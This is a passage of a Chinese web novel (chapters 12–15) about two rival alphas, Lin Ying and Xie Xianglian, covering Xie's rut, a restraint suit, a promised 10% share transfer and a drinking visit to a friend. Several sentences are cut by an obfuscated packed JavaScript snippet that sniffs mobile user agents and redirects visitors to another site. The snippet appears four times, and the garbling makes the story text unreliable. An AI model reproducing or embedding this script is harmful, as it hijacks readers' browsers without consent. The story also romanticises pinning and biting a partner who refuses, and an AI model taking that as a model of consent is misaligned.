林迎好奇,解开安全带伸手去够袋子。谢相连坐上来的时候,他正好打开袋子。 袋子里是几个盒子,他有些奇怪,仔细看上面的文字。有的是外国语,他看不懂,好在也有国语的。他看了一眼,面向谢相连问:“你买面膜干嘛?” 谢相连漫不经心说:“你不是嫌我老?” 林迎一下子没反应过来,他嫌他老和买面膜有什么关系?何况他嫌他老,也不是真的嫌他老,单纯是嘲讽他年纪那么大,不可能易感期一个人度过。 谢相连倒以为他是真的好奇他为什么要买面膜,沉声说:“不是喜欢嫩的?店员说这些效果不错。” 12. 第 12 章 林迎大吃一惊,不可思议看着谢相连,他随口一句话,谢相连竟然当真,还真的买面膜想着要让自己更嫩一些。他欲言又止,最后一言难尽说:“你别这样。” 谢相连这样林迎反而觉得浑身不自在,他和谢相连本来就不是什么能为了对方让自己变得更好的关系。说好听点,他们现在是互相帮助的关系,说难听点,他们两个就是死对头,不死不休的那种。 谢相连不为所动:“你喜欢嫩的,我就嫩一些,有什么不好?” 林迎咬牙切齿说:“当然不好!好像是我让你这样一样,不管你弄不弄和我都没有关系。”林迎连忙撇清关系,他不想和谢相连有任何一点除了死对头之外的关系。 “听说欧米伽还有很多保养的手段。” “你来真的?”林迎起了一身鸡皮疙瘩,“别说我认识你。” 从现在开始,他一定要和谢相连撇清关系,他可不想被别人问起怎么看待谢相连和欧米伽一样十分注重护肤有什么想法。光是和他在一起就觉得丢脸,尤其是苏子珩那损友一定会笑话他,笑话他能和喜欢孔雀开屏的谢相连玩到一起——虽然苏子珩误会了他和谢相连的关系,但那也不行,他不可能给苏子珩笑话自己的机会。 “真不喜欢?”谢相连问。 林迎重重“嗯”了一声表达自己的不满。 “那怎么办?我买都买了。”谢相连无辜说。 “你谢家不差这一点钱。” “那不行,”他想了想说,“那给你用。” “我有病啊,我用这些。” “犯什么大阿尔法主义?真正的阿尔法不会在意这些。你不敢用,是用了你的阿尔法气概会减少?”谢相连故意激他。 林迎气得要命,但他没有傻到去接谢相连的话:“反正我不用,你要用自己用。” 他看过他老妈贴面膜,光是看着都觉得皮肤呼吸不过来,更别说是贴到他脸上去,那和要他的命有什么区别? “回庄园去,我不要跟你回家。”林迎提醒。 谢相连点头。 林迎想想说:“干脆现在就去买束缚服。”他担心谢相连只是嘴上答应他,实际根本没有把他的话放在心上,还是他亲自见到他买比较放心。 “来不及了。” 林迎不解:“什么来不及了?” “我易感期要来了。” 他话音刚落,林迎就闻到一股若有若无的信息素味,他警觉问:“真的假的?你不会是故意释放信息素吧?” 刚刚在他房间里,他也闻到了谢相连的信息素,他只当是谢相连故意和他对着干,完全没有往谢相连易感期来了这方面上想。 谢相连叹气:“把你吓着跑了,我有什么好处?” 林迎嘀咕说:“这谁知道。”说不准就是觉得欺负他好玩,故意释放信息素让他坐立不安。 “你再忍忍。”林迎皱眉看他。 谢相连无言片刻说:“你觉得能忍,你去和专家说。” 易感期这种事当然是忍不得,林迎知道,他还是不乐意,现在面对谢相连什么准备都没有。 “你易感期来了,还让我在旁边看着,你不会是打着易感期发作的旗号想对我做什么,事后又借着是易感期的借口给自己脱罪吧。”林迎揣测。 阿尔法和欧米伽因为有易感期和发情期,为了保护这两个性别,特意出台了法律,特殊时期做出的不理智行为,可以酌情减轻量刑。 “我只是需要你帮我度过易感期。” 林迎半信半疑,退一步说:“就算这样,你也得保证我的人身安全。” “我让助理送束缚服过来。” 林迎总算满意了:“行,你让他快点。” 谢相连带着林迎回到了庄园,一回去他就往自己房间去,林迎犹豫了一下,在他门口对着他说:“你助理是贝塔吧?让他给你送,等确定你不会伤人了,我再过来。” 谢相连在屋里没有动静,林迎当他是答应了,自顾自回了他的房间。 外面很快有汽车的声音,林迎看了一眼,一个贝塔急匆匆推开车门下来,抬眼和他对视了一眼,顿了一下,从后排座椅上拿了东西就进了屋里。 林迎等了很久才等到有人敲门,他打开门,是那个贝塔。贝塔长得板板正正的,言简意赅告诉他已经让谢相连穿上了束缚服,现在不会有危险,请他过去。 林迎靠着门笑着说:“既然已经没事了,那我还过去做什么?” 助理为难说:“您别打趣我了,您不过去扣的可是我的工资,我只是个普通的打工人。” 林迎“哦”了一声,没有任何表示,依旧站在原地不动。 助理急了,他总算知道谢相连是什么意思了。他来之前谢相连特意叮嘱他,如果林迎不过去,他这个月的奖金就全扣了。上次因为疏忽,本来就要扣他奖金,好不容易将奖金保住了,要是在林迎这里被扣掉,助理想想都想哭了。 他一把抓住林迎的手,苦苦道:“您就当是行行善心,就过去看一眼吧。” 林迎甩开他的手:“你说过去我就过去?你是我什么人?” 助理见他这样,干脆收了请求的表情,公事公办说:“老板还和我说,如果您不过去,他不保证他等会儿会不会挣脱开束缚服过来找您。” 助理庆幸谢相连有先见之明,早就猜到他没办法将人请过去,在他来之前还丢给他这么一句话。谢相连浑身上下都被束缚着,还游刃有余说:“你这么说,他会过来的。” 刚说完助理就看到林迎脸色难看得像是吃了苍蝇,半晌才说:“知道了,我过去。” 助理离开后,林迎磨磨蹭蹭到了谢相连门口,刚靠近门口就闻到了浓烈的信息素味道,他捂着口鼻猛地冲到楼梯口,冲着要离开的助理说:“我改变主意了!” 助理一脸黑线,抬头看他。 林迎说:“除非你帮我个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294897|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙。” 谢相连等得不耐烦,易感期让他浑身上下都难受,脑子也烧得跟浆糊一样。他挣扎着想挣开束缚带,助理没有手下留情,将他绑得很紧。他挣扎了许久,门终于被推开,探进了一个脑袋。 只是和想象中的不一样,门口的人穿着严严实实的防护服,透过护目镜和他对视。虽然没有看到他的脸,只隐约看见那双眼睛,他也能想象林迎现在有多么得意。 “过来。”谢相连说。 林迎拒绝:“不,说好的我在门外看着。”他的声音闷闷的,却怎么也遮盖不住上扬的尾音。 谢相连被他气笑了:“你穿成这样,还怕被我的信息素影响到?” 林迎耸耸肩,只可惜他穿得厚重,完全看不出他的小动作。 “你别想把我骗过去,说好的我只在外面陪着。”林迎欣赏着谢相连因为易感期被折磨得有些狼狈的模样,谢相连脸色红得不正常,渗出的汗水将他的头发浸湿,此时正恶狠狠地盯着他这边看。 林迎看了一会儿,搬了一张椅子在距离他两米远的地方坐下。穿着防护服不方便玩手机,他就坐着盯着谢相连看。 距离近了,谢相连也看得清楚了面前的人了。 林迎被闷在里面也没有多好受,神情是嚣张的,却也被闷出了些许汗,眼底也带着些许潮湿。他这样倒是比平时看着还要勾人,尤其是正处于易感期的谢相连看来,林迎这样和脱光了勾引他有什么区别? 林迎不知道谢相连在想什么,只知道他的眼神看得他很不舒服。坐了一会儿,起身说:“你有事喊我,我先走了。”他没有直接丢下谢相连离开庄园已经算仁至义尽了,再多的他可不会做。 林迎去了游戏房,玩了个昏天暗地,玩到饿了才想起要吃饭。随便煮了点吃的,还十分好心地留了一点带上去给谢相连。刚靠近门口就听到谢相连的低喘声,和某一天晚上的片段重合。林迎皱了下眉,踹开门,把煮得乱七八糟的面丢在床头柜上,说:“吃饭了。” 谢相连直勾勾看着他。 林迎说:“爱吃不吃。”说着起身要走。 谢相连喊住他:“我这样怎么吃?” “别指望我会喂你。”林迎翻了个白眼。 谢相连低声道:“你解开,我自己吃。” 林迎穿着防护服,没有受到他的信息素影响,听到他这话,只想着让他自己解决,顺手就帮他把束缚带解开。 刚解开,谢相连就扑上前将林迎压在身下,防护服被谢相连粗暴扯开。 铺天盖地的信息素呛进肺里,林迎咳得惊天动地,谢相连滚烫的手抓着他的脖子,林迎后知后觉他面对的是什么,扯着嗓子喊:“你保证过不会碰我的!” 谢相连手还在林迎的脖子上,手下是冰凉舒服的温度,细腻的皮肤和张牙舞爪的人不同,浑身上下都写满了诱惑。谢相连眼底一片通红,深吸了口气,沉声说:“怪我忍耐力不行,也怪你刺激我。” 13. 第 13 章 谢相连引以为傲的忍耐力,在见到林迎那一刻就到了极限,林迎又还像是膈应他一般,特意穿上了防护服。这种刻意躲着他的行为,让他理智一瞬间就土崩瓦解。 林迎被谢相连的信息素熏得难受,眼泪哗啦啦地流,他一把捧住谢相连的脑袋,将他的脑袋推开,看着红了眼的人质问:“你是不是早就想好骗我给你打解开?” 谢相连点头。 林迎被他的实诚气到说不出话:“怪我没防备心是吧?”林迎自动就脑补了谢相连算计他的一出大戏,“你要敢碰我一根手指,今天不是你死就是我活。” 林迎说话的声音都带着些虚,现在他被熏得有些无力,只不过他不会承认他败在谢相连的信息素下。 谢相连说:“让我抱一下。”他低头去啃林迎的脖子。 林迎被他咬得一疼,抬手一拳挥了出去,谢相连被打偏了头,头缓缓转回来,笑了笑说:“你打,打完我们再继续。” “我不是在和你做交易!”林迎怒吼。他分明是在警告他,再靠近就要揍他,怎么落到谢相连的耳里就变成了他打了之后就任由他啃? 他没有傻到那种地步,做这么亏的交易。再说了,难道谢相连仅仅是想啃他那么简单?如果真那么简单,他就当做是给狗啃了。只是按照他对谢相连的理解,谢相连想对他做的肯定没有那么简单。 谢相连安静了一会儿说:“你打不过我。” 林迎当即就被他气得炸毛了,张牙舞爪挥舞着拳。谢相连的意思很简单,他打不过他,如果现在他不配合他,他没办法把他再次关到束缚服里面去。 “把你的贝塔助理叫回来。” 谢相连嫌弃说:“不想见到他。” 现在除了林迎,他不想见到任何人,哪怕是完全造不成威胁的贝塔。 “这是你想不想见的时候吗?” “真的只是抱着,不会做什么。”谢相连还在哄他。 林迎抬脚踹了一下,趁着他吃疼往门外扑去,只是谢相连的信息素让他太过难受,他走路都磕绊了两下,一个摔跤重重摔在地上。 一只滚烫的手捞住他,把他抱在怀里,一只手按着他脑袋,用力而缓地揉着说:“就在这里,不去床上。” 林迎挣扎的动作弱了一些,不去床上,一切都好说。他试图去看身后的人,只可惜这个姿势完全看不到谢相连面上是什么表情。他闷闷不乐说:“两分钟,两分钟后就松开我。” “好。”谢相连答应他。 林迎绷着身体克制着逃跑的冲动,努力让自己的呼吸变轻一些,减少吸入令人厌恶的信息素。只是他再怎么克制,他也需要呼吸。信息素越来越浓烈,他忍无可忍说:“把你的信息素收一收。” 身后的人“嗯”了一声,周围的信息素并没有因此减少。 林迎不耐烦:“两分钟到了,松开。” “再等……” 谢相连还想说什么,林迎打断他说:“你是个商人,你敢言而无信,就别怪我以后再也不信你半句话。”虽然现在他也不怎么相信谢相连说的话。 身后的人浑身滚烫,像烧着了一般,拦在腰间的手,后背紧贴着的胸膛,都滚烫得让人惊心。柔软的、滚烫的触感从脖子上传来,林迎哆嗦了一下,抬手去按埋在他脖颈处的脑袋:“谢相连!” 谢相连松开桎梏,林迎被放开的时候还愣了愣,迷茫地眨眨眼。确定谢相连松开手了,他缓缓起身说:“没事我就先走了。我答应你,在你易感期期间不会离开这里,但你也得遵守约定,不能碰我一根手指。” 谢相连点头,视线黏在林迎身上。 林迎怀疑谢相连有没有把他的话听进去,他瞪了他一眼,转身离开房间。房间外也有些谢相连的信息素,他穿进去的防护服已经被谢相连撕坏,穿也穿不了,而他也不知道那个贝塔助理的电话。 浓郁的信息素让他脑子昏沉沉的,踉跄着下了一楼。下了楼还是能闻到属于谢相连信息素的味道,他叹了口气,走到屋外,那味道才稍微散开了一些。只是信息素太过霸道,还有不少信息素跟着粘在他的衣服上,怎么甩也甩不掉。 林迎往庄园的空地走去,庄园种了不少花草树木,他试图借着这些自然的味道驱散掉他身上的味道。走了十几分钟,林迎有些疲惫,靠着一棵树坐下,一抬眼就能看到屋子那边。 看不到谢相连的身影,林迎说不出哪里的不痛快,心情莫名烦躁。在遇到谢相连之前,他从来没有想过他会被哪个阿尔法欺负成这样。 刚刚被谢相连压在身下时的惊恐现在还在,谢相连刚刚如果有再进一步的动作,他真的会和他同归于尽。好在谢相连还有理智,没有真的把事情做绝。 但这也让林迎莫名不爽,同为阿尔法,在易感期时几乎不可能保持理智。谢相连能保持理智,说明他确实比他厉害。 林迎随手捡起一旁的石子丢了出去。不过厉害归厉害,谢相连也有得不到的东西。林迎苦中作乐,谢相连喜欢欺负他,只可惜谢相连找错人了,他不可能任由他欺负。这样能让谢相连不爽,那也说明他还是挺有本事的。 一个人在树下坐了许久,才没有那么难受,慢悠悠地往屋子那边走去。刚靠近就闻到信息素要从屋里蔓延出来,他瞪着眼,捂着鼻子,不可思议地往里走了一下,果然里面的信息素味道更加浓郁。 他抬眼看向二楼,一楼信息素味道都这么浓郁,不敢想象二楼有多么浓。他的腿已经开始下意识地想要转身离开,但理智告诉他现在不能离开。谢相连不是什么好货,他离开肯定会觉得是他出尔反尔,到时候又会想着法子折腾他,要是再连累到他家里…… 林迎想着想着脸色就难看起来,硬着头皮往二楼走。走到楼梯口,他有些喘不过气了,吼了一声:“把你的信息素收收。” 很无理取闹的要求,易感期时的阿尔法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294898|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么可能收得住信息素?可林迎不管,再这么走下去,他怕是还没走到谢相连房间门口,就要被熏晕过去了。 谢相连的身影出现在走廊尽头:“你还没走?” 谢相连的语气是遮盖不住的激动和欣喜。 林迎捂着鼻子闷声闷气说:“说了不走就不走,我是那种没担当的人吗?你现在把我防护服撕坏了,让你助理再送一件来。” 谢相连“嗯”了一声,转身往回走。 林迎坐在门口。助理很快就送了防护服过来,见他坐在门口,担心问:“您怎么坐到这里来了?等会儿老板看不到人要生气了。” 林迎没好气抢过他手里的防护服说:“我都要给他熏吐了。” 助理是贝塔,闻不到信息素,安慰他:“没关系,等他易感期过去就好了了,这几天您辛苦一下。” 林迎眯着眼问他:“你什么意思?” 助理迷茫说:“没什么呀,祝您和老板百年好合。” “我和他不是这种关系。” 助理还笑呵呵地说:“您别谦虚了,老板都直接用账号承认了和您的恋情。放心跟着我们老板,老板绝对不会亏待您。” 林迎忍无可忍,抬脚踹开助理。助理这才发现林迎是真的生气了,灰溜溜开着车离开。 林迎气了半天,拿着防护服去了信息素比较少的地方穿上,才慢悠悠地走回来。 谢相连坐在沙发上,一见到他就冲他伸手。林迎走到他面前,在沙发的另一端坐下,奇怪问:“你当真打算就这么熬过去?” 半天过去,天已经完全黑了,谢相连硬扛着易感期这么长时间,林迎也觉得不可思议。在没有找到伴侣之前,大多数阿尔法都是靠易感期缓和剂度过的,他也不例外。 易感期硬熬很难受,对身体也没有什么好处,林迎想不明白谢相连图什么?一般易感期都有好几天,越厉害的阿尔法,易感期时间越长。不打易感期缓解剂,那他接下来很长一段时间都要在这里陪着谢相连。 林迎坐不住,也不想一直陪着他。 “用不着。”谢相连说。 林迎翻了个白眼:“逞什么强?愿意逞强你就逞强,我上去了。” 林迎上了楼,回到房间,依旧穿着防护服。现在整个屋子都是谢相连信息素的味道,脱下防护服和暴露在谢相连面前没有区别。林迎澡也不想去洗,躺在床上,很快睡过去。 半夜听到窸窸窣窣的声音,林迎一下子就惊醒,睁开眼,谢相连站在他床边,居高临下看着他。 林迎吓得从床上滚到床下,站起来把灯打开问道:“你做什么?回你房间去,我帮你把束缚服绑上。” “我说了不会伤害你,就不会伤害你。” 林迎不耐烦,干脆问:“你怎么样才愿意打舒缓剂?”明明是谢相连难受,林迎却比他还着急,他着急让谢相连结束这场闹剧。 “我需要你。” 14. 第 14 章 “我不需要你。”林迎不客气说,摆明了下逐客令。 谢相连站在原地没动。 林迎翻了个白眼说:“总得让我图你点什么吧?如果你愿意把你公司的股份分我一点,或许我可以考虑一下帮你。” “你要多少?”谢相连淡声问。 林迎嗤笑一声,现在还在跟他装大方,他无所谓说:“如果你愿意给的话,给个百分之五也差不多了。”百分之五可以成为股东了,他不相信谢相连会给他,这和把一半股份交给他有什么区别。 谢相连定定看了他许久,被他看过的地方想是被烫了一般,林迎不耐烦摆手说:“你看,你给不了我需要的东西,你需要我,我就得帮你吗?走吧,别在这里碍我的眼。” “你想要我可以给你。” 林迎眨了下眼,以为是他听错了,却听谢相连又说:“我给你百分之十的股份。” “你易感期糊涂了吧?百分之十你知道意味着什么吗?”林迎还处于震惊之中,谢相连已经朝他走过来,垂眸看着他说,“现在轮到你帮我了。” “床上的话算不得数,我不相信你。” 哪里有人会说给股份就给股份,谢氏集团也不是什么小公司,更不可能随便给股份。 “我现在把助理叫来,让他找人拟定协议。” 说话间谢相连的手已经放在林迎的肩上了,隔着一层防护服,林迎也觉得被触碰的地方烫得很,他缩了一下,谢相连问:“反悔了?” 林迎梗着脖子说:“谁反悔谁是小狗。” 谢相连的手伸到带子处准备解开,林迎按住他的手说:“你打缓解剂,我再帮你。” 林迎比谁都清楚,一个阿尔法度过易感期有多么艰难,他也是阿尔法,帮不了什么,谢相连不打缓解剂,怕是谢相连还没出易感期,他就先被他折腾死。 “打了你就帮我?”谢相连问。 “对,打了我就帮你。”林迎哄着,等谢相连打了缓解剂,过不了多久他的易感期就会得到缓解,也不用他费尽心思想着怎么帮他解决需求。 谢相连拉着林迎的手,林迎被他拉着走,眼见着是要去主卧,林迎脚原地生根,问:“你拉我去你房间干嘛?” “缓解剂在我房间。” 林迎半信半疑跟着他去了房间,进了房间,谢相连一只手拉着林迎,另一只手拉开床头柜,从里面拿出一支缓解剂往自己手上扎去。 林迎瞥了一眼,里面放着整整齐齐的缓解剂,他无言看了看缓解剂,又看了看努力假装镇静的谢相连。之前还和他说不需要缓解剂,那放在这里的是什么? 打完缓解剂,谢相连把空壳子往旁边一扔就去拽林迎。 林迎顺手从抽屉里又拿出一支缓解剂,对着谢相连脖子处扎。谢相连皱眉,倒是没有阻止,他低头认真解林迎的防护服。 林迎趁机快速把缓解剂液体推进去,打缓解剂这事他自己也做惯了,帮别人打还是第一次。打在手上当然也有用,但没有打在脖颈处发挥得快,两支缓解剂应该很快能让谢相连的易感期缓解。 防护服被扯下,信息素猛地涌进他身体里,林迎不自在皱眉。他后知后觉发现自己不知道什么时候已经坐到了谢相连腿上,现在谢相连正脸埋在他的脖颈处,用力嗅着。 林迎捂着腺体说:“怎么帮你我来决定。”他答应了谢相连,可没有说可以任他为所欲为。 谢相连的手覆在林迎的手背上,似乎是隔着他的手在摸他的腺体。林迎哆嗦了一下,伸手按谢相连的肩膀,将他推开:“你听没听我说什么?” “知道了。”谢相连说得不情不愿。 林迎眯着眼看他。谢相连的手按了按他的手说:“只摸摸,不咬你腺体。” 打了两支缓解剂,谢相连的眼神清明了些许,手从林迎的指缝里插进去,摸着他的腺体:“我就摸摸,不咬。” 林迎被他摸得身体滚烫,忍不住说:“我没听过阿尔法会对另一个阿尔法的腺体感兴趣。” “我和他们不一样。” “是是是,你当然和他们不一样。”林迎说这话的时候嫌弃极了,他从来不知道一个阿尔法会对另一个阿尔法有那么大的兴趣,谢相连真是他长这么大以来遇到的第一个奇葩。 谢相连一个劲地在他脖颈处蹭,很痒,林迎忍了下来,只要谢相连不越界,看在那百分之十的股份上,帮他也不是不可以,以前又不是没有帮过,忍一忍就过去了。 林迎这么想着,却没想到易感期的阿尔法比平时更难缠,手酸得像要得了腱鞘炎,偏偏谢相连还不知足。中途如果不是他提醒过了一天一夜得补充体力,谢相连还打算拉着他继续。 简单补充了点能量,林迎一闻到谢相连的信息素就晕乎乎的,中途没忍住,也给自己打了一剂易感期缓解剂,缓解剂让他的感官迟钝不少,也没那么抗拒谢相连的靠近。 哪怕谢相连打了易感期缓解剂,足足过了三天谢相连才勉强度过易感期。说来也好笑,会那么快结束,还是林迎揭穿了谢相连。在易感期缓解剂明明生效了的情况下,谢相连却表现得像是被易感期控制一样,一整天都要和他腻在一起,他一离开就像发了疯一样找他。 他会看出谢相连是装的,还是他累得睡过去,中途醒来发现谢相连在处理工作。林迎当即大发脾气,谢相连嘴硬说他易感期还没有过。 林迎气得不行,谢相连又说他已经让助理找律师拟定好了股份转让书。林迎瞬间就哑火了,谢相连答应给他的股份没有推迟,主动就找助理准备好了转让书。可他又气得不行:“那你就可以骗我吗?” 谢相连说:“易感期有可能反复。” “你已经打了缓解剂,不可能会反复。”易感期反复的情况很少见,一般都是没有打缓解剂强撑着度过,事后又因为没有得到欧米伽足够的信息素安抚才会反复发作。 谢相连根本不存在这种情况。 被揭穿了,谢相连一点尴尬也没有,只问他:“想现在签?我让他过来。” 林迎拿起枕头丢他身上:“滚!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294899|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想见到你。” 谢相连没应,林迎不安心,等谢相连才点头示意他可以走,林迎立马就离开主卧。 庄园里里外外都是谢相连信息素的味道,他易感期过了,可信息素还残留在空气里。林迎里里外外把自己洗了个干净才离开庄园,他开着车,打电话给苏子珩。 苏子珩接到他的电话,不情不愿问:“又怎么了我的大少爷?” “出来陪我喝酒。” “我现在不方便。” 林迎忽略他的拒绝,问:“你在家里?” “我不在……” 苏子珩还想说话,林迎说:“我已经在去你家的路上了。” 苏子珩很无语:“来我家做什么?我家里可没有酒。” “没有就去买。” 苏子珩拒绝不了,林迎很快就到了他家,带着一身陌生的阿尔法信息素。 苏子珩勉为其难地找了点酒出来,一闻到他身上的信息素,当即就汗毛直立:“你去做什么了?” 林迎打开酒自己猛灌了一口,才把酒瓶放下:“问那么多干嘛?让你陪我喝酒就喝酒。” 林迎坐下了,苏子珩倒是腾地一下就站了起来,躲得远远的:“你身上的信息素熏得我头疼。” 林迎扯着衣领闻了闻说:“没有啊,你鼻子有问题吧?” 苏子珩手在鼻子前拼命地扇:“不是你的信息素,是别人的信息素!” 林迎被浸泡在谢相连的信息素里太长时间,对谢相连的信息素不太敏感,现在也闻不太出来,嘲笑苏子珩说:“你也太不扛事了,不就是一点阿尔法信息素都能让你怕成这样?” 他好像真的一点事也没有,苏子珩越看越奇怪:“你被夺舍了?我记得你以前闻到一点别人的信息素都不乐意,现在这么浓的信息素,你闻不到?” “以前是以前,现在是现在,”林迎懒得跟他解释,“过来陪我喝酒。” 苏子珩说:“酒放那了,你自己喝。” 林迎瞪他。 苏子珩不情不愿地走过去,一靠近,林迎身上的信息素味道就越发明显。这信息素味道太浓郁,太陌生,可闻着闻着又感觉好像在哪里闻过。他正琢磨着,刚有点想法,林迎就推了一杯酒到他面前,催他喝。 苏子珩被打断,一边喝一边看着林迎。林迎看着很生气,一杯接着一杯地喝,喝得醉醺醺的,见苏子珩没喝,又给他灌酒。苏子珩假装喝酒,偷偷地在群里问他们最近谁和林迎有接触。 群里一个个纷纷都在说自己没有,又问林迎最近是不是很忙,怎么都没有见着他。 苏子珩越想越奇怪,那边林迎已经喝醉了,打了个酒嗝,对着空气骂道:“他丫的是狗吧!” 苏子珩还没反应过来,林迎就扯着自己的衣领给他看:“把我啃成这样,我怎么见人!” 苏子珩瞪着眼,如遭雷劈,石化在原地,先是震惊,而后是慌张。 啊……不是…… 别给我看啊!酒醒了你不得杀我灭口! 15. 第 15 章 苏子珩急得一上手抓住他的衣领一把合上,痛心疾首说:“大少爷,您自己抓着,不要给我看了,我刚刚什么也没看见,什么也不知道。” 一个阿尔法身上带着另一个阿尔法的信息素就算了,怎么还脖子上有红印子?再迟钝苏子珩也猜到发生了什么。 林迎“啊”了一声,十分嫌弃说:“你在想什么?我和他什么也没发生。” 苏子珩一言难尽,都这样了,还算什么也没发生? 林迎揉了揉鼻子说:“只是被他啃了而已,其他什么也没发生。” 苏子珩没说话,显然是不相信他的话。 林迎不耐烦骂道:“我也是阿尔法,我能和他发生什么?你脑子里装的什么?瞧不起我还是……” “我错了我错了,您别念叨。” 苏子珩理智告诉他阿尔法和阿尔法在一起,确实很匪夷所思,更不可能短时间内就发展到那种地步。阿尔法和欧米伽之间才有生理性的喜欢,阿尔法之间是不可能的,一定是他想多了。 他用力摇了摇头,说:“你这样也太吓人了。” “你之前不还向着他?”林迎含糊说。 苏子珩无辜说:“我不是向着他,只是他的势力确实有点强,和他对着干没有好处。” 苏子珩又问:“不过,你真的这么快就从了他?” 林迎瞪他:“我和他只是交易关系,只要帮他度过易感期,我想要什么都给我。” 苏子珩好奇:“那你要了什么?” 林迎嘿嘿笑了声:“我要了他家股份。” 苏子珩抬手摸林迎的额头,古怪说:“也没发烧啊,怎么开始说胡话了?” “什么意思?”林迎一把拍开他的手。 苏子珩揉着手说:“他家的股份哪里是说给就给,怎么说他也是个商人,那么轻易就把股份给送出去,他们谢家也走不到现在这地步。” 他委婉劝说:“所以你可能是被他哄骗了。” 林迎拍桌而起,苏子珩给他出主意:“有没有骗你,你现在去和他要股份不就知道了。” 林迎犯难说:“一定要现在?” 他好不容易才离开,不想那么快再见到谢相连。 “这可是股份呢,大哥,你就不怕他收拾完东西把你踹了?” 林迎执拗说:“说了我不是和他那种关系。” 他说着还是起身准备回去找谢相连,让谢相连立马把股份转到他名下。他摇摇晃晃往门口走去,苏子珩拦住他:“你喝了酒,我找人送你过去。” 林迎站在门口等着,苏子珩打个电话说:“司机晚一点来。” “晚点是什么时候?” “快了快了。”苏子珩说。 林迎看了他一眼,拿手机打电话,冲着电话那边说:“过来接我,地址我发给你。” 等林迎打完电话,苏子珩问:“你家司机过来要更长时间吧?” “谁和你说我是打电话给司机?” “那你打电话给谁?” 林迎头疼,揉了揉太阳穴,没回答苏子珩的话。苏子珩识趣,陪着他等司机。 很快一辆豪车就在门口停下,出门打开,一个他没见过面的贝塔下来。苏子珩眼睛一亮,惊喜推林迎问:“你家什么时候招了个长得这么俊的司机?” 林家的司机他几乎都认识,司机们没少从他这边把林迎接走,这司机他还是头一次见,不用想,肯定是林家新招的司机。林迎没搭理他,自顾自上了车。 许一一正要上车,苏子珩突然冲过来拿着一张名片塞进他口袋里,冲他笑了下:“有空给我打个电话。” 许一一莫名其妙,但见他是林迎的朋友,日后和林迎有关的事,也许苏子珩能帮得上忙,他也冲他礼貌笑了笑。 上了车,苏子珩还在和他说话:“林迎经常来找我,你如果找不到他,来这里准能找到他。” 许一一将车开出去很久才觉得苏子珩过分的有些热情,他这种身份地位的,虽然很多人看在谢相连的份上,会对他客气一些,可大多人都只将他当做个狗腿。头一次被这么热情对待,苏子珩看着也不像是有求于他。 许一一有些上头,原来被人热情对待的感觉这么好,以前还觉得林迎的朋友不会是什么好朋友,是他太狭隘了,被他老板看上的人,怎么可能真的差劲到哪里去。 “开快点。”林迎在后面催促,抬脚踹了踹椅子。 许一一被他踹得颠了两下,叹气说:“您别着急,我这已经是最快的速度了。” 他收回刚刚说林迎不会差劲到哪里去的话,说完没听到动静,许一一扭头见林迎已经闭上眼睡了过去。他又叹了口气,还好伺候谢相连已经有了足够的耐心,林迎这种小打小闹,他应付得来。 把林迎送到庄园,门口等着的谢相连抬手拉开车门,看着睡得香甜的人,看向许一一。 许一一把他见到的一五一十说了:“只是喝了点酒,累了才睡着的。” 谢相连摆摆手示意他走,许一一为难说:“老大,你让我怎么走?这里距离打车的地方可远着去了。” 谢相连瞥他一眼,许一一下了车,一边往远处走,一边叮嘱他:“老大,别在车上乱来。” 话音刚落,又接收到了谢相连的眼刀,许一一加快了脚步,不由得为自己祈祷,看来他的职业生涯要考虑的事情又多了很多。以前谢相连没谈恋爱,他只需要跟进工作上的事就够了,现在他还得当上私人助理,还得照顾着林迎。 谢相连坐到车上,眯着眼凑近林迎身边。林迎身上还有他的信息素味道,但在他的信息素味道外还有酒味,其中还夹杂着几乎闻不到的其他阿尔法的信息素味道,哪怕仅仅只有一点,他还是闻出来了。 他脸色难看,林迎不过是离开了一会儿去喝酒就算了,可林迎不仅喝酒,还去见其他阿尔法。谢相连易感期刚过,他现在醋到感觉心口都是酸的。 他的人为什么抛下刚过易感期的他去找其他人?难道那人对林迎来说很重要? 谢相连自懂事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294900|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 